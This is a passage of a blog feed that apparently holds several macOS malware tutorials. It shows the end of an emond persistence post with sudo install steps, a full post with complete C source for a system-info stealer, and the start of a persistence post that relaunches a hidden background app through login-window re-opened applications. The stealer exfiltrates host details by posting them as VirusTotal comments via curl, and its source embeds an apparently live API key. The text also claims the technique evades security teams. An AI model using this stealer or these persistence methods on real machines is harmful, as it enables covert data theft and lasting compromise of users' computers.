
<p>Let’s check everythin in action. Compile our “malware”:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>clang <span class="nt">-o</span> meow_emond hack.c
</code></pre></div></div>

<p><img src="/assets/images/199/2026-04-07_07-45.png" alt="malware" class="img-responsive" /></p>

<p>To setup persistence logic, we need to move our files into the correct locations. This requires administrative privileges:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo cp </span>meow_emond /usr/local/bin/
</code></pre></div></div>

<p><img src="/assets/images/199/2026-04-07_07-48.png" alt="malware" class="img-responsive" /></p>

<p>then, move our rule:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo cp </span>meow.plist /private/etc/emond.d/rules/meow.plist
</code></pre></div></div>

<p><img src="/assets/images/199/2026-04-07_07-55.png" alt="malware" class="img-responsive" /></p>

<p>finally, just reboot our Monterey VM. Upon boot, <code class="language-plaintext highlighter-rouge">emond</code> will scan the rules folder, see our <code class="language-plaintext highlighter-rouge">meow.plist</code>, and execute the command.</p>

<p><img src="/assets/images/199/2026-04-03_00-46.png" alt="malware" class="img-responsive" /></p>

<p>In some <code class="language-plaintext highlighter-rouge">macOS</code> Monterey versions, the <code class="language-plaintext highlighter-rouge">emond</code> service might be dormant. To activate it and trigger our persistence, we use <code class="language-plaintext highlighter-rouge">launchctl</code>.</p>

<p>Check our file:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">cat</span> /Users/Shared/meow.txt
</code></pre></div></div>

<p><img src="/assets/images/199/2026-04-07_08-09.png" alt="malware" class="img-responsive" /></p>

<p>As you can see, everything works perfect as expected! =^..^=</p>

<p>If you are running a <code class="language-plaintext highlighter-rouge">macOS</code> Monterey VM, you are in luck. While Apple began phasing out <code class="language-plaintext highlighter-rouge">emond</code> in Big Sur, the binary and its logic often remain functional in Monterey, making it a perfect target for “ghost” persistence.</p>

<p>But one more caveat.</p>

<p>While writing this research, I discovered that in some <code class="language-plaintext highlighter-rouge">macOS</code> Monterey, Apple finally pulled the plug on <code class="language-plaintext highlighter-rouge">emond</code>. Even if you find the <code class="language-plaintext highlighter-rouge">.plist</code> file, the system throws an <strong>Input/output error</strong>. This is a prime example of Attack Surface Reduction: Apple realized they couldn’t secure this event-driven monster, so they simply deleted it.</p>

<p><img src="/assets/images/199/2026-04-07_08-08.png" alt="malware" class="img-responsive" /></p>

<p>Even “Load failed” is a result in Mac malware research.</p>

<p>I hope this post is useful for malware R&amp;D and red teaming labs, Apple/Mac researchers, and blue team specialists.</p>

<p><a href="/macos/2025/06/12/malware-mac-1.html">macOS hacking part 1</a>  <br />
<a href="/macos/2026/01/05/malware-mac-persistence-1.html">macOS persistence part 1</a>  <br />
<a href="/macos/2026/04/02/mac-malware-persistence-8.html">macOS persistence part 8</a>  <br />
<a href="https://github.com/cocomelonc/meow/tree/master/2026-04-05-malware-mac-persistence-9">source code in github</a></p>

<blockquote>
  <p>This is a practical case for educational purposes only.</p>
</blockquote>

<p>Thanks for your time happy hacking and good bye!  <br />
<em>PS. All drawings and screenshots are mine</em></p>]]></content><author><name>cocomelonc</name></author><category term="macos" /><category term="red team" /><category term="persistence" /><category term="malware" /><category term="macos" /><category term="emond" /><summary type="html"><![CDATA[﷽]]></summary></entry><entry><title type="html">MacOS hacking part 13: sysinfo stealer via VirusTotal API. Simple C example</title><link href="https://cocomelonc.github.io/macos/2026/04/01/malware-mac-13.html" rel="alternate" type="text/html" title="MacOS hacking part 13: sysinfo stealer via VirusTotal API. Simple C example" /><published>2026-04-01T00:00:00+00:00</published><updated>2026-04-01T00:00:00+00:00</updated><id>https://cocomelonc.github.io/macos/2026/04/01/malware-mac-13</id><content type="html" xml:base="https://cocomelonc.github.io/macos/2026/04/01/malware-mac-13.html"><![CDATA[<p>﷽</p>

<p>Hello, cybersecurity enthusiasts and white hackers!</p>

<p><img src="/assets/images/197/2026-04-01_16-57.png" alt="malware" class="img-responsive" /></p>

<p>In the <a href="/macos/2025/06/12/malware-mac-1.html">first post</a> from this series, we explored how to steal data on macOS via Telegram API. Today we will look at another fast exfiltration technique: using the VirusTotal API as a covert channel.</p>

<h3 id="practical-example">practical example</h3>

<p>Most corporate firewalls and EDRs are trained to block connections to unknown or “suspicious” domains. However, domains related to security research - like <code class="language-plaintext highlighter-rouge">virustotal.com</code> are almost always whitelisted.</p>

<p>This is the same as before for <a href="/malware/2024/06/25/malware-trick-41.html">Windows</a>: abusing the VirusTotal API’s “comments” feature, we can post stolen data as a comment on an existing file hash.</p>

<p>So, we need function like the following:</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// send data to VirusTotal using the system's curl</span>
<span class="kt">int</span> <span class="nf">send_to_vt</span><span class="p">(</span><span class="k">const</span> <span class="kt">char</span> <span class="o">*</span><span class="n">message</span><span class="p">)</span> <span class="p">{</span>
  <span class="kt">char</span> <span class="n">command</span><span class="p">[</span><span class="mi">8192</span><span class="p">];</span>
  <span class="kt">char</span> <span class="n">json_body</span><span class="p">[</span><span class="mi">4096</span><span class="p">];</span>

  <span class="c1">// sanitize message: replace newlines with spaces for JSON safety</span>
  <span class="kt">char</span> <span class="n">sanitized</span><span class="p">[</span><span class="mi">4096</span><span class="p">];</span>
  <span class="n">strncpy</span><span class="p">(</span><span class="n">sanitized</span><span class="p">,</span> <span class="n">message</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">sanitized</span><span class="p">)</span> <span class="o">-</span> <span class="mi">1</span><span class="p">);</span>
  <span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">sanitized</span><span class="p">[</span><span class="n">i</span><span class="p">];</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">sanitized</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">==</span> <span class="sc">'\n'</span> <span class="o">||</span> <span class="n">sanitized</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">==</span> <span class="sc">'\r'</span> <span class="o">||</span> <span class="n">sanitized</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">==</span> <span class="sc">'"'</span><span class="p">)</span> <span class="p">{</span>
      <span class="n">sanitized</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="sc">' '</span><span class="p">;</span>
    <span class="p">}</span>
  <span class="p">}</span>

  <span class="c1">// construct the JSON payload for VT API v3</span>
  <span class="n">snprintf</span><span class="p">(</span><span class="n">json_body</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">json_body</span><span class="p">),</span> 
       <span class="s">"{</span><span class="se">\"</span><span class="s">data</span><span class="se">\"</span><span class="s">: {</span><span class="se">\"</span><span class="s">type</span><span class="se">\"</span><span class="s">: </span><span class="se">\"</span><span class="s">comment</span><span class="se">\"</span><span class="s">, </span><span class="se">\"</span><span class="s">attributes</span><span class="se">\"</span><span class="s">: {</span><span class="se">\"</span><span class="s">text</span><span class="se">\"</span><span class="s">: </span><span class="se">\"</span><span class="s">%s</span><span class="se">\"</span><span class="s">}}}"</span><span class="p">,</span> 
       <span class="n">sanitized</span><span class="p">);</span>

  <span class="c1">// build the curl command</span>
  <span class="c1">// we use -s for silent, -X POST, and provide the API key in the header</span>
  <span class="n">snprintf</span><span class="p">(</span><span class="n">command</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">command</span><span class="p">),</span>
       <span class="s">"curl -s -X POST </span><span class="se">\"</span><span class="s">https://www.virustotal.com/api/v3/files/%s/comments</span><span class="se">\"</span><span class="s"> "</span>
       <span class="s">"-H </span><span class="se">\"</span><span class="s">x-apikey: %s</span><span class="se">\"</span><span class="s"> "</span>
       <span class="s">"-H </span><span class="se">\"</span><span class="s">Content-Type: application/json</span><span class="se">\"</span><span class="s"> "</span>
       <span class="s">"-d '%s'"</span><span class="p">,</span>
       <span class="n">FILE_ID</span><span class="p">,</span> <span class="n">VT_API_KEY</span><span class="p">,</span> <span class="n">json_body</span><span class="p">);</span>

  <span class="n">printf</span><span class="p">(</span><span class="s">"stealing data via VirusTotal...</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
  <span class="kt">int</span> <span class="n">result</span> <span class="o">=</span> <span class="n">system</span><span class="p">(</span><span class="n">command</span><span class="p">);</span>
  <span class="k">return</span> <span class="n">result</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>As you can see, for simplicity and compatibility I used <code class="language-plaintext highlighter-rouge">curl</code>:</p>

<p><img src="/assets/images/197/2026-04-01_16-59.png" alt="malware" class="img-responsive" /></p>

<p>Since it is a signed Apple binary, it bypasses many basic application-level firewalls.</p>

<p>The full source code looks like the following (<code class="language-plaintext highlighter-rouge">hack.c</code>):</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cm">/*
 * hack.c
 * macOS system info stealer 
 * via VirusTotal API (comments)
 * author: @cocomelonc
 * https://cocomelonc.github.io/macos/2026/04/01/malware-mac-13.html
 */</span>

<span class="cp">#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;stdlib.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;string.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;unistd.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;sys/types.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;sys/sysctl.h&gt;</span><span class="cp">
</span>
<span class="cp">#define VT_API_KEY "7e7778f8c29bc4b171512caa6cc81af63ed96832f53e7e35fb706dd320ab8c42"
#define FILE_ID "379698a4f06f18cb3ad388145cf62f47a8da22852a08dd19b3ef48aaedffd3fa"
</span>
<span class="c1">// helper function to get system strings from sysctl</span>
<span class="kt">void</span> <span class="nf">get_sysctl_value</span><span class="p">(</span><span class="k">const</span> <span class="kt">char</span> <span class="o">*</span><span class="n">name</span><span class="p">,</span> <span class="kt">char</span> <span class="o">*</span><span class="n">output</span><span class="p">,</span> <span class="kt">size_t</span> <span class="n">size</span><span class="p">)</span> <span class="p">{</span>
  <span class="kt">size_t</span> <span class="n">len</span> <span class="o">=</span> <span class="n">size</span><span class="p">;</span>
  <span class="k">if</span> <span class="p">(</span><span class="n">sysctlbyname</span><span class="p">(</span><span class="n">name</span><span class="p">,</span> <span class="n">output</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">len</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="mi">0</span><span class="p">)</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">strncpy</span><span class="p">(</span><span class="n">output</span><span class="p">,</span> <span class="s">"unknown"</span><span class="p">,</span> <span class="n">size</span><span class="p">);</span>
  <span class="p">}</span>
<span class="p">}</span>

<span class="c1">// send data to VirusTotal using the system's curl</span>
<span class="kt">int</span> <span class="n">send_to_vt</span><span class="p">(</span><span class="k">const</span> <span class="kt">char</span> <span class="o">*</span><span class="n">message</span><span class="p">)</span> <span class="p">{</span>
  <span class="kt">char</span> <span class="n">command</span><span class="p">[</span><span class="mi">8192</span><span class="p">];</span>
  <span class="kt">char</span> <span class="n">json_body</span><span class="p">[</span><span class="mi">4096</span><span class="p">];</span>

  <span class="c1">// sanitize message: replace newlines with spaces for JSON safety</span>
  <span class="kt">char</span> <span class="n">sanitized</span><span class="p">[</span><span class="mi">4096</span><span class="p">];</span>
  <span class="n">strncpy</span><span class="p">(</span><span class="n">sanitized</span><span class="p">,</span> <span class="n">message</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">sanitized</span><span class="p">)</span> <span class="o">-</span> <span class="mi">1</span><span class="p">);</span>
  <span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">sanitized</span><span class="p">[</span><span class="n">i</span><span class="p">];</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">sanitized</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">==</span> <span class="sc">'\n'</span> <span class="o">||</span> <span class="n">sanitized</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">==</span> <span class="sc">'\r'</span> <span class="o">||</span> <span class="n">sanitized</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">==</span> <span class="sc">'"'</span><span class="p">)</span> <span class="p">{</span>
      <span class="n">sanitized</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="sc">' '</span><span class="p">;</span>
    <span class="p">}</span>
  <span class="p">}</span>

  <span class="c1">// construct the JSON payload for VT API v3</span>
  <span class="n">snprintf</span><span class="p">(</span><span class="n">json_body</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">json_body</span><span class="p">),</span> 
       <span class="s">"{</span><span class="se">\"</span><span class="s">data</span><span class="se">\"</span><span class="s">: {</span><span class="se">\"</span><span class="s">type</span><span class="se">\"</span><span class="s">: </span><span class="se">\"</span><span class="s">comment</span><span class="se">\"</span><span class="s">, </span><span class="se">\"</span><span class="s">attributes</span><span class="se">\"</span><span class="s">: {</span><span class="se">\"</span><span class="s">text</span><span class="se">\"</span><span class="s">: </span><span class="se">\"</span><span class="s">%s</span><span class="se">\"</span><span class="s">}}}"</span><span class="p">,</span> 
       <span class="n">sanitized</span><span class="p">);</span>

  <span class="c1">// build the curl command</span>
  <span class="c1">// we use -s for silent, -X POST, and provide the API key in the header</span>
  <span class="n">snprintf</span><span class="p">(</span><span class="n">command</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">command</span><span class="p">),</span>
       <span class="s">"curl -s -X POST </span><span class="se">\"</span><span class="s">https://www.virustotal.com/api/v3/files/%s/comments</span><span class="se">\"</span><span class="s"> "</span>
       <span class="s">"-H </span><span class="se">\"</span><span class="s">x-apikey: %s</span><span class="se">\"</span><span class="s"> "</span>
       <span class="s">"-H </span><span class="se">\"</span><span class="s">Content-Type: application/json</span><span class="se">\"</span><span class="s"> "</span>
       <span class="s">"-d '%s'"</span><span class="p">,</span>
       <span class="n">FILE_ID</span><span class="p">,</span> <span class="n">VT_API_KEY</span><span class="p">,</span> <span class="n">json_body</span><span class="p">);</span>

  <span class="n">printf</span><span class="p">(</span><span class="s">"stealing data via VirusTotal...</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
  <span class="kt">int</span> <span class="n">result</span> <span class="o">=</span> <span class="n">system</span><span class="p">(</span><span class="n">command</span><span class="p">);</span>
  <span class="k">return</span> <span class="n">result</span><span class="p">;</span>
<span class="p">}</span>

<span class="kt">int</span> <span class="n">main</span><span class="p">()</span> <span class="p">{</span>
  <span class="kt">char</span> <span class="n">hostname</span><span class="p">[</span><span class="mi">256</span><span class="p">];</span>
  <span class="kt">char</span> <span class="n">model</span><span class="p">[</span><span class="mi">256</span><span class="p">];</span>
  <span class="kt">char</span> <span class="n">os_version</span><span class="p">[</span><span class="mi">256</span><span class="p">];</span>
  <span class="kt">char</span> <span class="n">cpu_brand</span><span class="p">[</span><span class="mi">256</span><span class="p">];</span>
  <span class="kt">char</span> <span class="n">serial_num</span><span class="p">[</span><span class="mi">256</span><span class="p">];</span>
  <span class="kt">int</span> <span class="n">n_cpu</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
  <span class="kt">size_t</span> <span class="n">n_cpu_size</span> <span class="o">=</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">n_cpu</span><span class="p">);</span>

  <span class="c1">// collect hardware and system information</span>
  <span class="n">gethostname</span><span class="p">(</span><span class="n">hostname</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">hostname</span><span class="p">));</span>
  <span class="n">get_sysctl_value</span><span class="p">(</span><span class="s">"hw.model"</span><span class="p">,</span> <span class="n">model</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">model</span><span class="p">));</span>
  <span class="n">get_sysctl_value</span><span class="p">(</span><span class="s">"kern.osproductversion"</span><span class="p">,</span> <span class="n">os_version</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">os_version</span><span class="p">));</span>
  <span class="n">get_sysctl_value</span><span class="p">(</span><span class="s">"machdep.cpu.brand_string"</span><span class="p">,</span> <span class="n">cpu_brand</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">cpu_brand</span><span class="p">));</span>
  <span class="n">sysctlbyname</span><span class="p">(</span><span class="s">"hw.ncpu"</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">n_cpu</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">n_cpu_size</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>

  <span class="c1">// format the data block</span>
  <span class="kt">char</span> <span class="n">exfil_data</span><span class="p">[</span><span class="mi">4096</span><span class="p">];</span>
  <span class="n">snprintf</span><span class="p">(</span><span class="n">exfil_data</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">exfil_data</span><span class="p">),</span>
       <span class="s">"macOS -&gt; host: %s | model: %s | OS: %s | CPU: %s | cores: %d"</span><span class="p">,</span>
       <span class="n">hostname</span><span class="p">,</span> <span class="n">model</span><span class="p">,</span> <span class="n">os_version</span><span class="p">,</span> <span class="n">cpu_brand</span><span class="p">,</span> <span class="n">n_cpu</span><span class="p">);</span>

  <span class="c1">// send to VirusTotal</span>
  <span class="kt">int</span> <span class="n">status</span> <span class="o">=</span> <span class="n">send_to_vt</span><span class="p">(</span><span class="n">exfil_data</span><span class="p">);</span>

  <span class="k">if</span> <span class="p">(</span><span class="n">status</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">printf</span><span class="p">(</span><span class="s">"system info successfully posted to VT comments. meow =^..^=</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
  <span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
    <span class="n">printf</span><span class="p">(</span><span class="s">"exfiltration failed.</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
  <span class="p">}</span>

  <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>The C code only uses standard libraries and <code class="language-plaintext highlighter-rouge">sysctl</code>. There are no suspicious network-related function imports (like <code class="language-plaintext highlighter-rouge">socket</code> or <code class="language-plaintext highlighter-rouge">connect</code> ???) in our binary’s symbol table.</p>

<h3 id="demo">demo</h3>

<p>Let’s see everything in action. Compile it on my <code class="language-plaintext highlighter-rouge">macOS Sonoma VM</code> research machine:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>clang <span class="nt">-o</span> hack hack.c
</code></pre></div></div>

<p><img src="/assets/images/197/2026-04-01_16-52.png" alt="malware" class="img-responsive" /></p>

<p>Then run:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>./hack
</code></pre></div></div>

<p><img src="/assets/images/197/2026-04-01_16-53.png" alt="malware" class="img-responsive" /></p>

<p>Now, if we visit the VirusTotal page for the file ID, we will see our machine’s hardware profile in the “Comments” tab:</p>

<p><img src="/assets/images/197/2026-04-01_16-55.png" alt="malware" class="img-responsive" /></p>

<p><img src="/assets/images/197/2026-04-01_16-57_1.png" alt="malware" class="img-responsive" /></p>

<p><a href="https://www.virustotal.com/gui/file/379698a4f06f18cb3ad388145cf62f47a8da22852a08dd19b3ef48aaedffd3fa/community">https://www.virustotal.com/gui/file/379698a4f06f18cb3ad388145cf62f47a8da22852a08dd19b3ef48aaedffd3fa/community</a></p>

<p>As you can see, everything worked perfectly, as expected! =^..^=</p>

<p>But the coolest thing is that <a href="https://app.any.run/">ANY.RUN</a> <a href="https://any.run/cybersecurity-blog/anyrun-macos-sandbox/">announced</a> a Sandbox for macOS!</p>

<p><img src="/assets/images/197/2026-04-01_18-23.png" alt="malware" class="img-responsive" /></p>

<p>But need to request access from <a href="https://app.any.run/">ANY.RUN</a> team first.</p>

<p><img src="/assets/images/197/2026-04-01_18-16.png" alt="malware" class="img-responsive" /></p>

<p>Abusing legitimate APIs like VirusTotal or Telegram for exfiltration is a powerful tactic. It turns the defender’s own tools against them. By blending in with legitimate security traffic, our malware can operate under the radar of most SOC teams.</p>

<p>I hope this post is useful for malware R&amp;D and red teaming labs, Apple/Mac researchers, and blue team specialists.</p>

<p>Thanks to <a href="https://app.any.run/">ANY.RUN</a> for API!</p>

<p><a href="https://any.run/cybersecurity-blog/anyrun-macos-sandbox/">Ready for macOS Threats: Expanding Your SOC’s Cross-Platform Analysis with ANY.RUN</a>   <br />
<a href="/macos/2025/06/12/malware-mac-1.html">macOS hacking part 1</a>   <br />
<a href="/macos/2025/10/15/malware-mac-12.html">macOS hacking part 12</a>  <br />
<a href="https://github.com/cocomelonc/meow/tree/master/2026-04-01-malware-mac-13">source code in github</a></p>

<blockquote>
  <p>This is a practical case for educational purposes only.</p>
</blockquote>

<p>Thanks for your time happy hacking and good bye!       <br />
<em>PS. All drawings and screenshots are mine</em></p>]]></content><author><name>cocomelonc</name></author><category term="macos" /><category term="red team" /><category term="virustotal" /><category term="malware" /><category term="stealer" /><category term="macos" /><summary type="html"><![CDATA[﷽]]></summary></entry><entry><title type="html">MacOS malware persistence 7: Re-opened applications. Simple C example</title><link href="https://cocomelonc.github.io/macos/2026/03/29/mac-malware-persistence-7.html" rel="alternate" type="text/html" title="MacOS malware persistence 7: Re-opened applications. Simple C example" /><published>2026-03-29T00:00:00+00:00</published><updated>2026-03-29T00:00:00+00:00</updated><id>https://cocomelonc.github.io/macos/2026/03/29/mac-malware-persistence-7</id><content type="html" xml:base="https://cocomelonc.github.io/macos/2026/03/29/mac-malware-persistence-7.html"><![CDATA[<p>﷽</p>

<p>Hello, cybersecurity enthusiasts and white hackers!</p>

<p><img src="/assets/images/196/2026-03-29_23-13.png" alt="malware" class="img-responsive" /></p>

<p>In our previous posts, we discussed various ways to achieve persistence on <code class="language-plaintext highlighter-rouge">macOS</code>. Today, we are diving into a mechanism that is part of the native <code class="language-plaintext highlighter-rouge">macOS</code> user experience: <strong>TAL (Transparent App Laundering)</strong>, specifically the Re-opened Applications feature.</p>

<p>When you log out or restart your Mac, you usually see a checkbox: <em>“Re-open windows when logging back in.”</em></p>

<p><img src="/assets/images/196/2026-03-29_21-32.png" alt="malware" class="img-responsive" /></p>

<p>If this is checked, macOS takes a snapshot of your current session and restores it upon your return. As malware developers, we can abuse this “snapshot” to ensure our payload is launched every time the user logs in.</p>

<h3 id="the-concept">the concept</h3>

<p>The state of the session is managed by the <code class="language-plaintext highlighter-rouge">loginwindow</code> process. It stores the list of applications to be restored in a specific property list (<code class="language-plaintext highlighter-rouge">.plist</code>) file located in the user’s <code class="language-plaintext highlighter-rouge">ByHost</code> directory.</p>

<p>The file path follows this pattern:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>~/Library/Preferences/ByHost/com.apple.loginwindow.&lt;Hardware-UUID&gt;.plist
</code></pre></div></div>

<p><img src="/assets/images/196/2026-03-29_18-22.png" alt="malware" class="img-responsive" /></p>

<p><img src="/assets/images/196/2026-03-29_18-28.png" alt="malware" class="img-responsive" /></p>

<p>Inside this file, there is an array called <code class="language-plaintext highlighter-rouge">TALApps</code>. By injecting our application’s bundle <code class="language-plaintext highlighter-rouge">ID</code> and path into this array, we tell <code class="language-plaintext highlighter-rouge">loginwindow</code> that our malware was “open” and needs to be “restored.”</p>

<h3 id="practical-example-1">practical example 1</h3>

<p>For this trick to work, we need an application that behaves like a background process. We will use a C program that logs its execution to <code class="language-plaintext highlighter-rouge">/Users/Shared/</code>.</p>

<p>Something like this:</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cm">/*
 * hack.c
 * malicious app for macOS persistence
 * for re-opened applications
 * author: @cocomelonc
 */</span>

<span class="cp">#include</span> <span class="cpf">&lt;stdlib.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;unistd.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;time.h&gt;</span><span class="cp">
</span>
<span class="kt">int</span> <span class="nf">main</span><span class="p">()</span> <span class="p">{</span>
  <span class="c1">// try writing to /Users/Shared/</span>
  <span class="kt">char</span> <span class="o">*</span><span class="n">filePath</span> <span class="o">=</span> <span class="s">"/Users/Shared/meow.txt"</span><span class="p">;</span>
  <span class="kt">FILE</span> <span class="o">*</span><span class="n">f</span> <span class="o">=</span> <span class="n">fopen</span><span class="p">(</span><span class="n">filePath</span><span class="p">,</span> <span class="s">"a"</span><span class="p">);</span>
  <span class="k">if</span> <span class="p">(</span><span class="n">f</span><span class="p">)</span> <span class="p">{</span>
    <span class="kt">time_t</span> <span class="n">now</span> <span class="o">=</span> <span class="n">time</span><span class="p">(</span><span class="nb">NULL</span><span class="p">);</span>
    <span class="n">fprintf</span><span class="p">(</span><span class="n">f</span><span class="p">,</span> <span class="s">"meow-meow! uid: %d</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">getuid</span><span class="p">());</span>
    <span class="n">fprintf</span><span class="p">(</span><span class="n">f</span><span class="p">,</span> <span class="s">"meow-meow! time: %s"</span><span class="p">,</span> <span class="n">ctime</span><span class="p">(</span><span class="o">&amp;</span><span class="n">now</span><span class="p">));</span>
    <span class="n">fclose</span><span class="p">(</span><span class="n">f</span><span class="p">);</span>
  <span class="p">}</span>
  <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>There is a critical nuance: for the TAL mechanism to actually save our app into the next session’s snapshot, the app must be running at the exact moment the user clicks “Log Out.” If the app has already finished its execution, <code class="language-plaintext highlighter-rouge">macOS</code> will simply ignore it (<code class="language-plaintext highlighter-rouge">hack.c</code>):</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cm">/*
 * hack.c
 * malicious app for macOS persistence (TAL method)
 * author: @cocomelonc
 */</span>

<span class="cp">#include</span> <span class="cpf">&lt;stdlib.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;unistd.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;time.h&gt;</span><span class="cp">
</span>
<span class="kt">void</span> <span class="nf">log_meow</span><span class="p">()</span> <span class="p">{</span>
  <span class="kt">char</span> <span class="o">*</span><span class="n">filePath</span> <span class="o">=</span> <span class="s">"/Users/Shared/meow.txt"</span><span class="p">;</span>
  <span class="kt">FILE</span> <span class="o">*</span><span class="n">f</span> <span class="o">=</span> <span class="n">fopen</span><span class="p">(</span><span class="n">filePath</span><span class="p">,</span> <span class="s">"a"</span><span class="p">);</span>
  <span class="k">if</span> <span class="p">(</span><span class="n">f</span><span class="p">)</span> <span class="p">{</span>
    <span class="kt">time_t</span> <span class="n">now</span> <span class="o">=</span> <span class="n">time</span><span class="p">(</span><span class="nb">NULL</span><span class="p">);</span>
    <span class="n">fprintf</span><span class="p">(</span><span class="n">f</span><span class="p">,</span> <span class="s">"meow-meow! uid: %d</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">getuid</span><span class="p">());</span>
    <span class="n">fprintf</span><span class="p">(</span><span class="n">f</span><span class="p">,</span> <span class="s">"meow-meow! time: %s</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">ctime</span><span class="p">(</span><span class="o">&amp;</span><span class="n">now</span><span class="p">));</span>
    <span class="n">fclose</span><span class="p">(</span><span class="n">f</span><span class="p">);</span>
  <span class="p">}</span>
<span class="p">}</span>

<span class="kt">int</span> <span class="n">main</span><span class="p">()</span> <span class="p">{</span>
  <span class="c1">// perform the action</span>
  <span class="n">log_meow</span><span class="p">();</span>

  <span class="cm">/* 
   * critical:
   * the app must be active during logout to be captured in the TAL snapshot.
   * option A: sleep(1000); - stays alive for a while.
   * option B: while(1) { sleep(60); } - stays alive indefinitely as a background bot.
   */</span>
  
  <span class="k">while</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">sleep</span><span class="p">(</span><span class="mi">60</span><span class="p">);</span>
  <span class="p">}</span>

  <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Since we are building a background process, we don’t want an icon jumping in the Dock. We use the <code class="language-plaintext highlighter-rouge">LSBackgroundOnly</code> key to stay invisible (<code class="language-plaintext highlighter-rouge">Info.plist</code>):</p>

<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">&lt;?xml version="1.0" encoding="UTF-8"?&gt;</span>
<span class="cp">&lt;!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"&gt;</span>
<span class="nt">&lt;plist</span> <span class="na">version=</span><span class="s">"1.0"</span><span class="nt">&gt;</span>
<span class="nt">&lt;dict&gt;</span>
  <span class="nt">&lt;key&gt;</span>CFBundleExecutable<span class="nt">&lt;/key&gt;</span>
  <span class="nt">&lt;string&gt;</span>meow<span class="nt">&lt;/string&gt;</span>
  <span class="nt">&lt;key&gt;</span>CFBundleIdentifier<span class="nt">&lt;/key&gt;</span>
